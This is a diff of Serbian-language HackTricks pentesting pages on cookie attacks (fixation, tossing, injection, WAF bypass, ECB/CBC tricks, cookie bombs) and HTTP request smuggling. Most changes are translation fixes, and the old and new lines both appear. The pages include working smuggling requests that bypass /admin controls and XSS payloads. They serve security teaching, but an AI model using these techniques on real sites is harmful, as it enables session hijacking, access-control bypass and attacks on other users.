U ovom scenariju, napadač vara žrtvu da koristi određeni kolačić za prijavu. Ako aplikacija ne dodeli novi kolačić prilikom prijave, napadač, posedujući originalni kolačić, može predstavljati žrtvu. Ova tehnika se oslanja na to da žrtva prijavi sa kolačićem koji je obezbedio napadač.
Ako ste pronašli **XSS u poddomeni** ili **kontrolišete poddomenu**, pročitajte:
Ako ste pronašli **XSS u poddomeni** ili **kontrolišete poddomen**, pročitajte:
{{#ref}}
cookie-tossing.md
@ -123,7 +123,7 @@ cookie-tossing.md
Ovde, napadač ubeđuje žrtvu da koristi napadačev kolačić sesije. Žrtva, verujući da je prijavljena na svoj nalog, nenamerno će izvršiti radnje u kontekstu napadačevog naloga.
Ako ste pronašli **XSS u poddomeni** ili **kontrolišete poddomenu**, pročitajte:
Ako ste pronašli **XSS u poddomeni** ili **kontrolišete poddomen**, pročitajte:
{{#ref}}
cookie-tossing.md
@ -131,9 +131,9 @@ cookie-tossing.md
### [JWT Kolačići](../hacking-jwt-json-web-tokens.md)
Kliknite na prethodni link da biste pristupili stranici koja objašnjava moguće nedostatke u JWT.
Kliknite na prethodni link da biste pristupili stranici koja objašnjava moguće nedostatke u JWT-u.
JSON Web Tokens (JWT) korišćeni u kolačićima takođe mogu predstavljati ranjivosti. Za detaljne informacije o potencijalnim nedostacima i kako ih iskoristiti, preporučuje se pristup povezanom dokumentu o hakovanju JWT.
JSON Web Tokens (JWT) korišćeni u kolačićima takođe mogu predstavljati ranjivosti. Za detaljne informacije o potencijalnim nedostacima i kako ih iskoristiti, preporučuje se pristup povezanom dokumentu o hakovanju JWT-a.
### Cross-Site Request Forgery (CSRF)
@ -141,7 +141,7 @@ Ovaj napad prisiljava prijavljenog korisnika da izvrši neželjene radnje na veb
### Prazni Kolačići
(Proverite dalje detalje u [originalnom istraživanju](https://blog.ankursundara.com/cookie-bugs/)) Pregledači dozvoljavaju kreiranje kolačića bez imena, što se može demonstrirati putem JavaScripta na sledeći način:
(Proverite dalje detalje u [originalnom istraživanju](https://blog.ankursundara.com/cookie-bugs/)) Pregledači dozvoljavaju kreiranje kolačića bez imena, što se može demonstrirati putem JavaScript-a na sledeći način:
```js
document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
@ -155,11 +155,11 @@ document.cookie = `${name}=${value}`
setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value
```
To dovodi do toga da pregledač šalje zaglavlje kolačića koje svaki veb server interpretira kao kolačić nazvan `a` sa vrednošću `b`.
Ovo dovodi do toga da pregledač šalje zaglavlje kolačića koje svaki veb server interpretira kao kolačić nazvan `a` sa vrednošću `b`.
#### Chrome greška: Problem sa Unicode zamenskim kodnim tačkama
#### Chrome Bug: Unicode Surrogate Codepoint Issue
U Chrome-u, ako je Unicode zamenska kodna tačka deo postavljenog kolačića, `document.cookie` postaje oštećen, vraćajući prazan string kasnije:
U Chrome-u, ako je Unicode surrogate codepoint deo postavljenog kolačića, `document.cookie` postaje oštećen, vraćajući prazan string kasnije:
```js
document.cookie = "\ud800=meep"
```
@ -173,13 +173,13 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
```
#### Cookie Injection Vulnerabilities
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Neispravno parsiranje kolačića od strane servera, posebno Undertow, Zope, i onih koji koriste Pythonov `http.cookie.SimpleCookie` i `http.cookie.BaseCookie`, stvara prilike za napade putem injekcije kolačića. Ovi serveri ne uspevaju pravilno da odrede početak novih kolačića, omogućavajući napadačima da lažiraju kolačiće:
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Neispravno parsiranje kolačića od strane servera, posebno Undertow, Zope, i onih koji koriste Pythonov `http.cookie.SimpleCookie` i `http.cookie.BaseCookie`, stvara mogućnosti za napade putem injekcije kolačića. Ovi serveri ne uspevaju da pravilno odrede početak novih kolačića, omogućavajući napadačima da lažiraju kolačiće:
- Undertow očekuje novi kolačić odmah nakon citirane vrednosti bez tačke-zareza.
- Undertow očekuje novi kolačić odmah nakon citirane vrednosti bez tačke i zareza.
- Zope traži zarez da započne parsiranje sledećeg kolačića.
- Pythonove klase kolačića započinju parsiranje na razmak.
Ova ranjivost je posebno opasna u web aplikacijama koje se oslanjaju na CSRF zaštitu zasnovanu na kolačićima, jer omogućava napadačima da injektiraju lažirane CSRF-token kolačiće, potencijalno zaobilazeći bezbednosne mere. Problem se dodatno pogoršava načinom na koji Python obrađuje duple nazive kolačića, gde poslednja pojava nadmašuje ranije. Takođe, postavlja zabrinutosti za `__Secure-` i `__Host-` kolačiće u nesigurnim kontekstima i može dovesti do zaobilaženja autorizacije kada se kolačići proslede back-end serverima koji su podložni lažiranju.
Ova ranjivost je posebno opasna u web aplikacijama koje se oslanjaju na CSRF zaštitu zasnovanu na kolačićima, jer omogućava napadačima da injektiraju lažirane CSRF-token kolačiće, potencijalno zaobilazeći bezbednosne mere. Problem se dodatno pogoršava načinom na koji Python obrađuje duple nazive kolačića, gde poslednja pojava preuzima prethodne. Takođe, postavlja zabrinutosti za `__Secure-` i `__Host-` kolačiće u nesigurnim kontekstima i može dovesti do zaobilaženja autorizacije kada se kolačići proslede backend serverima podložnim lažiranju.
### Cookies $version and WAF bypasses
@ -194,7 +194,7 @@ Ovo parsiranje ukazuje na to da se neizbežene vrednosti unutar kolačića, tako
#### Bypassing cookie-name blocklists
U RFC2109 je naznačeno da se **zarez može koristiti kao separator između vrednosti kolačića**. Takođe, moguće je dodati **razmake i tabove pre i posle znaka jednakosti**. Stoga kolačić poput `$Version=1; foo=bar, abc = qux` ne generiše kolačić `"foo":"bar, admin = qux"` već kolačiće `foo":"bar"` i `"admin":"qux"`. Obratite pažnju na to kako se generišu 2 kolačića i kako je adminu uklonjen razmak pre i posle znaka jednakosti.
U RFC2109 je naznačeno da se **zarez može koristiti kao separator između vrednosti kolačića**. Takođe, moguće je dodati **razmake i tabove pre i posle znaka jednakosti**. Stoga kolačić poput `$Version=1; foo=bar, abc = qux` ne generiše kolačić `"foo":"bar, admin = qux"` već kolačiće `foo":"bar"` i `"admin":"qux"`. Obratite pažnju na to kako su generisana 2 kolačića i kako je adminu uklonjen razmak pre i posle znaka jednakosti.
#### Bypassing value analysis with cookie splitting
@ -212,14 +212,14 @@ Cookie: comment')
Resulting cookie: name=eval('test//, comment') => allowed
```
### Dodatne provere ranjivih kolačića
### Dodatne provere ranjivosti kolačića
#### **Osnovne provere**
- **kolačić** je **isti** svaki put kada se **prijavite**.
- Odjavite se i pokušajte da koristite isti kolačić.
- Pokušajte da se prijavite sa 2 uređaja (ili pregledača) na isti nalog koristeći isti kolačić.
- Proverite da li kolačić sadrži neku informaciju i pokušajte da ga izmenite.
- Proverite da li kolačić sadrži bilo kakve informacije i pokušajte da ga izmenite.
- Pokušajte da kreirate nekoliko naloga sa gotovo istim korisničkim imenom i proverite da li možete primetiti sličnosti.
- Proverite opciju "**zapamti me**" ako postoji da vidite kako funkcioniše. Ako postoji i može biti ranjiva, uvek koristite kolačić **zapamti me** bez bilo kog drugog kolačića.
- Proverite da li prethodni kolačić funkcioniše čak i nakon što promenite lozinku.
@ -260,7 +260,7 @@ Možda kolačić može imati neku vrednost i može biti potpisan koristeći CBC.
1. Dobijte potpis korisničkog imena **administ** = **t**
2. Dobijte potpis korisničkog imena **rator\x00\x00\x00 XOR t** = **t'**
3. Postavite u kolačić vrednost **administrator+t'** (**t'** će biti validan potpis **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00**
3. Postavite u kolačić vrednost **administrator+t'** (**t'** će biti validan potpis za **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00**
**ECB**
@ -269,11 +269,11 @@ Kada se prijavite, kolačić koji dobijate mora uvek biti isti.
**Kako otkriti i napasti:**
Kreirajte 2 korisnika sa skoro istim podacima (korisničko ime, lozinka, email, itd.) i pokušajte da otkrijete neki obrazac unutar datog kolačića.
Kreirajte 2 korisnika sa gotovo istim podacima (korisničko ime, lozinka, email, itd.) i pokušajte da otkrijete neki obrazac unutar datog kolačića.
Kreirajte korisnika nazvanog, na primer, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" i proverite da li postoji neki obrazac u kolačiću (pošto ECB enkriptuje sa istim ključem svaki blok, isti enkriptovani bajtovi mogu se pojaviti ako je korisničko ime enkriptovano).
Kreirajte korisnika pod imenom "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" i proverite da li postoji neki obrazac u kolačiću (pošto ECB enkriptuje sa istim ključem svaki blok, isti enkriptovani bajtovi mogu se pojaviti ako je korisničko ime enkriptovano).
Trebalo bi da postoji obrazac (sa veličinom korišćenog bloka). Tako, znajući kako su enkriptovani niz "a", možete kreirati korisničko ime: "a"\*(veličina bloka)+"admin". Tada biste mogli da obrišete enkriptovani obrazac jednog bloka "a" iz kolačića. I imaćete kolačić korisničkog imena "admin".
Trebalo bi da postoji obrazac (sa veličinom korišćenog bloka). Tako, znajući kako je gomila "a" enkriptovana, možete kreirati korisničko ime: "a"\*(veličina bloka)+"admin". Tada biste mogli da obrišete enkriptovani obrazac jednog bloka "a" iz kolačića. I imaćete kolačić korisničkog imena "admin".
## Reference

View File

@ -1,6 +1,6 @@
{{#include ../../banners/hacktricks-training.md}}
**`Cookie bomb`** uključuje **dodavanje značajnog broja velikih kolačića na domen i njegove poddomene koje cilja korisnika**. Ova akcija rezultira time da žrtva **šalje prevelike HTTP zahteve** serveru, koji se potom **odbacuju od strane servera**. Posledica ovoga je indukcija Denial of Service (DoS) specifično usmerena na korisnika unutar tog domena i njegovih poddomena.
**`Cookie bomb`** podrazumeva **dodavanje značajnog broja velikih kolačića na domen i njegove poddomene koje cilja korisnika**. Ova akcija rezultira time da žrtva **šalje prevelike HTTP zahteve** serveru, koji se potom **odbacuju od strane servera**. Posledica ovoga je indukcija Denial of Service (DoS) specifično usmerena na korisnika unutar tog domena i njegovih poddomena.
Lep **primer** može se videti u ovom izveštaju: [https://hackerone.com/reports/57356](https://hackerone.com/reports/57356)

View File

@ -25,7 +25,7 @@ Kada pregledač primi dva kolačića sa istim imenom **delimično utičući na i
U zavisnosti od toga ko ima **najspecifičniju putanju** ili koji je **najstariji**, pregledač će **prvo postaviti vrednost kolačića** a zatim vrednost drugog kao u: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
Većina **vеб сајтова ће користити само прву вредност**. Zatim, ako napadač želi da postavi kolačić, bolje je postaviti ga pre nego što se drugi postavi ili ga postaviti sa specifičnijom putanjom.
Većina **vеб сајтова ће користити само прву вредност**. Затим, ако нападач жели да постави колачић, боље је да га постави пре него што буде постављен други или da ga postavi sa specifičnijom putanjom.
> [!WARNING]
> Štaviše, sposobnost da **postavite kolačić na specifičniju putanju** je veoma zanimljiva jer ćete moći da naterate **žrtvu da radi sa svojim kolačićem osim na specifičnoj putanji gde će zlonamerni kolačić biti poslat pre**.
@ -34,13 +34,13 @@ Većina **vеб сајтова ће користити само прву вре
Moguća zaštita protiv ovog napada bi bila da **web server ne prihvata zahteve sa dva kolačića istog imena ali sa dva različita vrednosti**.
Da bi zaobišao scenario u kojem napadač postavlja kolačić nakon što je žrtvi već dodeljen kolačić, napadač bi mogao izazvati **kolačić overflow** i zatim, kada se **legitiman kolačić obriše, postaviti zlonamerni**.
Da bi zaobišao scenario u kojem napadač postavlja kolačić nakon što je žrtvi već dodeljen kolačić, napadač bi mogao izazvati **kolačić prelivanje** i zatim, kada se **legitiman kolačić obriše, postaviti zlonamerni**.
{{#ref}}
cookie-jar-overflow.md
{{#endref}}
Još jedan koristan **bypass** mogao bi biti da **URL kodira ime kolačića** jer neka zaštita proverava 2 kolačića sa istim imenom u zahtevu i zatim server dekodira imena kolačića.
Još jedan koristan **zaobilazni put** mogao bi biti da **URL kodira ime kolačića** jer neka zaštita proverava 2 kolačića sa istim imenom u zahtevu i zatim server dekodira imena kolačića.
### Cookie Bomb

View File

@ -26,9 +26,9 @@ Host: example.com
POST /pwreset HTTP/1.1
Host: psres.net
```
Ovaj problem se potencijalno može kombinovati sa [napadima na Host header](https://portswigger.net/web-security/host-header), kao što su trovanje resetovanjem lozinke ili [trovanje web keša](https://portswigger.net/web-security/web-cache-poisoning), kako bi se iskoristile druge ranjivosti ili dobio neovlašćen pristup dodatnim virtuelnim hostovima.
Ovaj problem se potencijalno može kombinovati sa [Host header attacks](https://portswigger.net/web-security/host-header), kao što su trovanje resetovanjem lozinke ili [web cache poisoning](https://portswigger.net/web-security/web-cache-poisoning), kako bi se iskoristile druge ranjivosti ili dobio neovlašćen pristup dodatnim virtuelnim hostovima.
> [!NOTE]
> Da bi se identifikovale ove ranjivosti, može se koristiti funkcija 'connection-state probe' u HTTP Request Smuggler-u.
> Da bi se identifikovale ove ranjivosti, može se koristiti funkcija 'connection-state probe' u HTTP Request Smuggler.
{{#include ../banners/hacktricks-training.md}}

View File

@ -24,8 +24,8 @@ To omogućava korisniku da **modifikuje sledeći zahtev koji stigne do pozadinsk
### Stvarnost
**Frontalni** (load-balance / Reverse Proxy) **obrađuje** _**content-length**_ ili _**transfer-encoding**_ header, a **pozadinski** server **obrađuje drugi** izazivajući **desinkronizaciju** između 2 sistema.\
To može biti veoma kritično jer **napadač može poslati jedan zahtev** do reverse proxy koji će biti **tumačen** od strane **pozadinskog** servera **kao 2 različita zahteva**. **Opasnost** ove tehnike leži u činjenici da će **pozadinski** server **tumačiti** **2. zahtev koji je ubačen** kao da je **došao od sledećeg klijenta**, a **pravi zahtev** tog klijenta će biti **deo** **ubačenog zahteva**.
**Frontalni** (load-balance / Reverse Proxy) **obrađuje** _**content-length**_ ili _**transfer-encoding**_ header, a **pozadinski** server **obrađuje** drugi, izazivajući **desinkronizaciju** između 2 sistema.\
To može biti veoma kritično jer **napadač može poslati jedan zahtev** do reverse proxy-a koji će biti **tumačen** od strane **pozadinskog** servera **kao 2 različita zahteva**. **Opasnost** ove tehnike leži u činjenici da će **pozadinski** server **tumačiti** **2. zahtev koji je ubačen** kao da je **došao od sledećeg klijenta**, a **stvarni zahtev** tog klijenta će biti **deo** **ubacenog zahteva**.
### Posebnosti
@ -40,7 +40,7 @@ Zapamtite da u HTTP **novi red karakter se sastoji od 2 bajta:**
> [!TIP]
> Kada pokušavate da iskoristite ovo sa Burp Suite **onemogućite `Update Content-Length` i `Normalize HTTP/1 line endings`** u repeater-u jer neki uređaji zloupotrebljavaju nove redove, povratne znakove i neispravne content-length.
HTTP request smuggling napadi se kreiraju slanjem nejasnih zahteva koji koriste razlike u tome kako frontalni i pozadinski serveri tumače `Content-Length` (CL) i `Transfer-Encoding` (TE) heder. Ovi napadi mogu se manifestovati u različitim oblicima, prvenstveno kao **CL.TE**, **TE.CL**, i **TE.TE**. Svaka vrsta predstavlja jedinstvenu kombinaciju načina na koji frontalni i pozadinski serveri prioritetizuju ove hedere. Ranjivosti nastaju kada serveri obrađuju isti zahtev na različite načine, što dovodi do neočekivanih i potencijalno zlonamernih ishoda.
HTTP request smuggling napadi se kreiraju slanjem nejasnih zahteva koji koriste razlike u tome kako frontalni i pozadinski serveri tumače `Content-Length` (CL) i `Transfer-Encoding` (TE) header-e. Ovi napadi mogu se manifestovati u različitim oblicima, prvenstveno kao **CL.TE**, **TE.CL**, i **TE.TE**. Svaka vrsta predstavlja jedinstvenu kombinaciju načina na koji frontalni i pozadinski serveri prioritetizuju ove header-e. Ranjivosti nastaju kada serveri obrađuju isti zahtev na različite načine, što dovodi do neočekivanih i potencijalno zlonamernih ishoda.
### Osnovni Primeri Ranjivosti
@ -51,13 +51,13 @@ HTTP request smuggling napadi se kreiraju slanjem nejasnih zahteva koji koriste
#### CL.TE Ranjivost (Content-Length koristi Frontalni, Transfer-Encoding koristi Pozadinski)
- **Frontalni (CL):** Obradjuje zahtev na osnovu `Content-Length` hedera.
- **Pozadinski (TE):** Obradjuje zahtev na osnovu `Transfer-Encoding` hedera.
- **Frontalni (CL):** Obradjuje zahtev na osnovu `Content-Length` header-a.
- **Pozadinski (TE):** Obradjuje zahtev na osnovu `Transfer-Encoding` header-a.
- **Scenarijo Napada:**
- Napadač šalje zahtev gde vrednost `Content-Length` hedera ne odgovara stvarnoj dužini sadržaja.
- Frontalni server prosleđuje ceo zahtev pozadinskom, na osnovu `Content-Length` vrednosti.
- Pozadinski server obrađuje zahtev kao chunked zbog `Transfer-Encoding: chunked` hedera, tumačeći preostale podatke kao odvojen, sledeći zahtev.
- Napadač šalje zahtev gde vrednost `Content-Length` header-a ne odgovara stvarnoj dužini sadržaja.
- Frontalni server prosleđuje ceo zahtev pozadinskom, na osnovu vrednosti `Content-Length`.
- Pozadinski server obrađuje zahtev kao chunked zbog `Transfer-Encoding: chunked` header-a, tumačeći preostale podatke kao odvojen, sledeći zahtev.
- **Primer:**
```
@ -75,8 +75,8 @@ Foo: x
#### TE.CL Ranjivost (Transfer-Encoding koristi Frontalni, Content-Length koristi Pozadinski)
- **Frontalni (TE):** Obradjuje zahtev na osnovu `Transfer-Encoding` hedera.
- **Pozadinski (CL):** Obradjuje zahtev na osnovu `Content-Length` hedera.
- **Frontalni (TE):** Obradjuje zahtev na osnovu `Transfer-Encoding` header-a.
- **Pozadinski (CL):** Obradjuje zahtev na osnovu `Content-Length` header-a.
- **Scenarijo Napada:**
- Napadač šalje chunked zahtev gde veličina dela (`7b`) i stvarna dužina sadržaja (`Content-Length: 4`) nisu usklađeni.
@ -104,10 +104,10 @@ x=
#### TE.TE Ranjivost (Transfer-Encoding koriste oba, sa obfuscation)
- **Serveri:** Obe podržavaju `Transfer-Encoding`, ali jedan može biti prevaren da ga ignoriše putem obfuscation.
- **Serveri:** Obe podržavaju `Transfer-Encoding`, ali jedan može biti prevaren da ga ignoriše putem obfuscation-a.
- **Scenarijo Napada:**
- Napadač šalje zahtev sa obfuskovanim `Transfer-Encoding` hederima.
- Napadač šalje zahtev sa obfuskovanim `Transfer-Encoding` header-ima.
- U zavisnosti od toga koji server (frontalni ili pozadinski) ne prepozna obfuscation, može se iskoristiti CL.TE ili TE.CL ranjivost.
- Neobrađeni deo zahteva, kako ga vidi jedan od servera, postaje deo sledećeg zahteva, što dovodi do smuggling-a.
- **Primer:**
@ -129,9 +129,9 @@ Transfer-Encoding
: chunked
```
#### **CL.CL Scenarijo (Content-Length koriste oba Frontalni i Pozadinski)**
#### **CL.CL Scenarijo (Content-Length koriste i Frontalni i Pozadinski)**
- Obe servera obrađuju zahtev isključivo na osnovu `Content-Length` hedera.
- Obe servera obrađuju zahtev isključivo na osnovu `Content-Length` header-a.
- Ovaj scenario obično ne dovodi do smuggling-a, jer postoji usklađenost u tome kako oba servera tumače dužinu zahteva.
- **Primer:**
@ -146,7 +146,7 @@ Normal Request
#### **CL.0 Scenarijo**
- Odnosi se na scenarije gde je `Content-Length` header prisutan i ima vrednost različitu od nule, što ukazuje da telo zahteva ima sadržaj. Pozadinski server ignoriše `Content-Length` header (koji se tretira kao 0), ali frontalni ga analizira.
- Odnosi se na scenarije gde je `Content-Length` header prisutan i ima vrednost različitu od nule, što ukazuje na to da telo zahteva ima sadržaj. Pozadinski server ignoriše `Content-Length` header (koji se tretira kao 0), ali frontalni ga analizira.
- Ključno je za razumevanje i kreiranje smuggling napada, jer utiče na to kako serveri određuju kraj zahteva.
- **Primer:**
@ -161,7 +161,7 @@ Non-Empty Body
#### TE.0 Scenarijo
- Kao prethodni, ali koristi TE
- Kao prethodni, ali koristi TE.
- Tehnika [prijavljena ovde](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- **Primer:**
```
@ -185,7 +185,7 @@ EMPTY_LINE_HERE
Ova tehnika je takođe korisna u scenarijima gde je moguće **rušiti veb server dok se čitaju inicijalni HTTP podaci** ali **bez zatvaranja veze**. Na taj način, **telo** HTTP zahteva će biti smatrano **sledećim HTTP zahtevom**.
Na primer, kao što je objašnjeno u [**ovoj analizi**](https://mizu.re/post/twisty-python), u Werkzeug-u je bilo moguće poslati neke **Unicode** karaktere i to će uzrokovati **rušenje** servera. Međutim, ako je HTTP veza kreirana sa zaglavljem **`Connection: keep-alive`**, telo zahteva neće biti pročitano i veza će i dalje biti otvorena, tako da će **telo** zahteva biti tretirano kao **sledeći HTTP zahtev**.
Na primer, kao što je objašnjeno u [**ovom izveštaju**](https://mizu.re/post/twisty-python), u Werkzeug-u je bilo moguće poslati neke **Unicode** karaktere i to će uzrokovati **rušenje** servera. Međutim, ako je HTTP veza kreirana sa zaglavljem **`Connection: keep-alive`**, telo zahteva neće biti pročitano i veza će i dalje biti otvorena, tako da će **telo** zahteva biti tretirano kao **sledeći HTTP zahtev**.
#### Prisiljavanje putem hop-by-hop zaglavlja
@ -223,7 +223,7 @@ A
```
- **Posmatranje:**
- Front-end server obrađuje zahtev na osnovu `Content-Length` i prekida poruku prerano.
- Front-end server obrađuje zahtev na osnovu `Content-Length` i prekida poruku pre vremena.
- Back-end server, očekujući chunked poruku, čeka na sledeći chunk koji nikada ne dolazi, uzrokujući kašnjenje.
- **Pokazatelji:**
@ -259,7 +259,7 @@ X
- **Korišćenje Automatizovanih Alata:**
- Alati poput Burp Suite-ove 'HTTP Request Smuggler' ekstenzije mogu automatski testirati ove ranjivosti slanjem različitih oblika nejasnih zahteva i analizom odgovora.
- **Testovi Varijacije Content-Length:**
- Pošaljite zahteve sa različitim `Content-Length` vrednostima koje nisu usklađene sa stvarnom dužinom sadržaja i posmatrajte kako server obrađuje takve neslaganja.
- Pošaljite zahteve sa različitim `Content-Length` vrednostima koje nisu usklađene sa stvarnom dužinom sadržaja i posmatrajte kako server reaguje na takve neslaganja.
- **Testovi Varijacije Transfer-Encoding:**
- Pošaljite zahteve sa obfuskovanim ili neispravnim `Transfer-Encoding` header-ima i pratite kako se front-end i back-end serveri različito ponašaju prema takvim manipulacijama.
@ -273,17 +273,17 @@ Kada testirate ranjivosti request smuggling-a ometajući druge zahteve, imajte n
- **Različite Mrežne Konekcije:** "Napad" i "normalni" zahtevi treba da budu poslati preko odvojenih mrežnih konekcija. Korišćenje iste konekcije za oba ne potvrđuje prisustvo ranjivosti.
- **Dosledni URL i Parametri:** Ciljajte da koristite identične URL-ove i imena parametara za oba zahteva. Moderne aplikacije često usmeravaju zahteve ka specifičnim back-end serverima na osnovu URL-a i parametara. Usklađivanje ovih povećava verovatnoću da oba zahteva obrađuje isti server, što je preduslov za uspešan napad.
- **Vreme i Uslovi Trke:** "Normalni" zahtev, koji je namenjen otkrivanju ometanja od "napadnog" zahteva, takmiči se protiv drugih istovremenih zahteva aplikacije. Stoga, pošaljite "normalni" zahtev odmah nakon "napadnog" zahteva. Zauzete aplikacije mogu zahtevati više pokušaja za konačnu potvrdu ranjivosti.
- **Izazovi Balansiranja Opterećenja:** Front-end serveri koji deluju kao balansatori opterećenja mogu rasporediti zahteve među različitim back-end sistemima. Ako "napadni" i "normalni" zahtevi završe na različitim sistemima, napad neće uspeti. Ovaj aspekt balansiranja opterećenja može zahtevati nekoliko pokušaja za potvrdu ranjivosti.
- **Vremenske i Trkačke Uslove:** "Normalni" zahtev, koji je namenjen otkrivanju ometanja od "napadnog" zahteva, takmiči se protiv drugih istovremenih zahteva aplikacije. Stoga, pošaljite "normalni" zahtev odmah nakon "napadnog" zahteva. Zauzete aplikacije mogu zahtevati više pokušaja za konačnu potvrdu ranjivosti.
- **Izazovi Balansiranja Opterećenja:** Front-end serveri koji deluju kao balansatori opterećenja mogu raspodeliti zahteve između različitih back-end sistema. Ako "napadni" i "normalni" zahtevi završe na različitim sistemima, napad neće uspeti. Ovaj aspekt balansiranja opterećenja može zahtevati nekoliko pokušaja za potvrdu ranjivosti.
- **Nepredviđeni Uticaj na Korisnike:** Ako vaš napad nenamerno utiče na zahtev drugog korisnika (ne "normalni" zahtev koji ste poslali za detekciju), to ukazuje da je vaš napad uticao na drugog korisnika aplikacije. Kontinuirano testiranje može ometati druge korisnike, što zahteva oprezan pristup.
## Zloupotreba HTTP Request Smuggling
### Zaobilaženje Front-End Bezbednosti putem HTTP Request Smuggling
Ponekad, front-end proksi primenjuju bezbednosne mere, preispitujući dolazne zahteve. Međutim, ove mere se mogu zaobići iskorišćavanjem HTTP Request Smuggling, omogućavajući neovlašćen pristup ograničenim krajnjim tačkama. Na primer, pristup `/admin` može biti zabranjen spolja, pri čemu front-end proksi aktivno blokira takve pokušaje. Ipak, ovaj proksi može zanemariti ugradnje zahteva unutar prokrijumčarenog HTTP zahteva, ostavljajući rupu za zaobilaženje ovih ograničenja.
Ponekad, front-end proxy-ji sprovode bezbednosne mere, preispitujući dolazne zahteve. Međutim, ove mere se mogu zaobići iskorišćavanjem HTTP Request Smuggling-a, omogućavajući neovlašćen pristup ograničenim krajnjim tačkama. Na primer, pristup `/admin` može biti zabranjen spolja, pri čemu front-end proxy aktivno blokira takve pokušaje. Ipak, ovaj proxy možda neće pregledati ugrađene zahteve unutar prokrijumčarenog HTTP zahteva, ostavljajući rupu za zaobilaženje ovih ograničenja.
Razmotrite sledeće primere koji ilustruju kako se HTTP Request Smuggling može koristiti za zaobilaženje front-end bezbednosnih kontrola, posebno ciljajući `/admin` putanju koja je obično zaštićena front-end proksijem:
Razmotrite sledeće primere koji ilustruju kako se HTTP Request Smuggling može koristiti za zaobilaženje front-end bezbednosnih kontrola, posebno ciljajući `/admin` putanju koja je obično zaštićena front-end proxy-jem:
**CL.TE Primer**
```
@ -302,7 +302,7 @@ Content-Length: 10
x=
```
U CL.TE napadu, `Content-Length` zaglavlje se koristi za inicijalni zahtev, dok sledeći ugrađeni zahtev koristi `Transfer-Encoding: chunked` zaglavlje. Frontalni proxy obrađuje inicijalni `POST` zahtev, ali ne uspeva da ispita ugrađeni `GET /admin` zahtev, što omogućava neovlašćen pristup `/admin` putanji.
U CL.TE napadu, `Content-Length` zaglavlje se koristi za inicijalni zahtev, dok sledeći ugrađeni zahtev koristi `Transfer-Encoding: chunked` zaglavlje. Frontalni proxy obrađuje inicijalni `POST` zahtev, ali ne uspeva da ispita ugrađeni `GET /admin` zahtev, omogućavajući neovlašćen pristup `/admin` putanji.
**TE.CL Primer**
```
@ -326,7 +326,7 @@ Nasuprot tome, u TE.CL napadu, inicijalni `POST` zahtev koristi `Transfer-Encodi
Aplikacije često koriste **front-end server** za modifikaciju dolaznih zahteva pre nego što ih proslede back-end serveru. Tipična modifikacija uključuje dodavanje zaglavlja, kao što je `X-Forwarded-For: <IP klijenta>`, kako bi se prenela IP adresa klijenta na back-end. Razumevanje ovih modifikacija može biti ključno, jer može otkriti načine za **obići zaštite** ili **otkriti skrivene informacije ili krajnje tačke**.
Da biste istražili kako proxy menja zahtev, pronađite POST parametar koji back-end ponavlja u odgovoru. Zatim, kreirajte zahtev, koristeći ovaj parametar na kraju, slično sledećem:
Da biste istražili kako proxy menja zahtev, pronađite POST parametar koji back-end ponavlja u odgovoru. Zatim, kreirajte zahtev, koristeći ovaj parametar kao poslednji, slično sledećem:
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -388,7 +388,7 @@ HTTP Request Smuggling se može iskoristiti za iskorišćavanje web stranica ran
- Interakcija sa ciljnim korisnicima **nije potrebna**.
- Omogućava iskorišćavanje XSS u delovima zahteva koji su **normalno nedostupni**, poput HTTP zaglavlja zahteva.
U scenarijima gde je veb sajt podložan Reflected XSS kroz User-Agent zaglavlje, sledeći payload prikazuje kako iskoristiti ovu ranjivost:
U scenarijima gde je veb sajt podložan Reflected XSS kroz User-Agent zaglavlje, sledeći payload demonstrira kako iskoristiti ovu ranjivost:
```
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
@ -422,7 +422,7 @@ Manipulacijom `User-Agent` kroz šverc, payload zaobilazi normalna ograničenja
> [!CAUTION]
> U slučaju da se korisnički sadržaj odražava u odgovoru sa **`Content-type`** kao što je **`text/plain`**, sprečavajući izvršenje XSS. Ako server podržava **HTTP/0.9, možda će biti moguće zaobići ovo**!
Verzija HTTP/0.9 je prethodila 1.0 i koristi samo **GET** glagole i **ne** odgovara sa **header-ima**, samo telom.
Verzija HTTP/0.9 je prethodila 1.0 i koristi samo **GET** glagole i **ne odgovara** sa **header-ima**, samo telom.
U [**ovoj analizi**](https://mizu.re/post/twisty-python), ovo je zloupotrebljeno sa švercom zahteva i **ranjivim krajnjim tačkom koja će odgovoriti sa korisničkim unosom** da švercuje zahtev sa HTTP/0.9. Parametar koji će biti odražen u odgovoru sadržao je **lažni HTTP/1.1 odgovor (sa header-ima i telom)** tako da će odgovor sadržati validan izvršni JS kod sa `Content-Type` od `text/html`.
@ -464,7 +464,7 @@ Rezultati u:
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
```
U ovom scenariju, korisnički zahtev za JavaScript datotekom je preuzet. Napadač može potencijalno kompromitovati korisnika tako što će poslužiti zlonamerni JavaScript kao odgovor.
U ovom scenariju, korisnički zahtev za JavaScript datotekom je preuzet. Napadač može potencijalno kompromitovati korisnika pružajući zlonameran JavaScript kao odgovor.
### Iskorišćavanje trovanja web kešom putem HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
@ -474,7 +474,7 @@ Prethodno smo posmatrali kako se serverovi odgovori mogu izmeniti da vrate 404 g
